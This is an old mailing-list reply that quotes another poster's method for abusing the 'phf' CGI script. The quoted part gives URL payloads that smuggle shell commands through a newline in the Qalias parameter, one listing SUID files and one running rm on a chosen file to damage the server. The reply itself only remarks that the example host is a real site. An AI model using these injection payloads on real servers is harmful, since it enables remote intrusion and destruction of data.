Xxxxx Xxxxxxx wrote:
> After messing with the old 'phf' binary, I have found a way to
> pretty much
> crash or ruin a system remotely. I know this sounds impossible,
> here is how
> you do it.
>
> http://www.xxx.com/cgi-bin/phf?Qalias=x%0a/bin/find%20/%20-type%20f%20-a%20-
>
> perm%20-4000%20-print
>
> which finds all SUID (Set User ID's) for that system)
>
> http://www.xxx.com/cgi-bin/phf?Qalias=x%0a/bin/rm%20( and the SUID
> file of
> the hackers choice )
Off-topic, but...
Just to say that www.xxx.com really exists, don't take it as a practical
example... (And what a site! :-))))
Regards,
Joao Ferreira
Follow-Ups:
References:
|
|
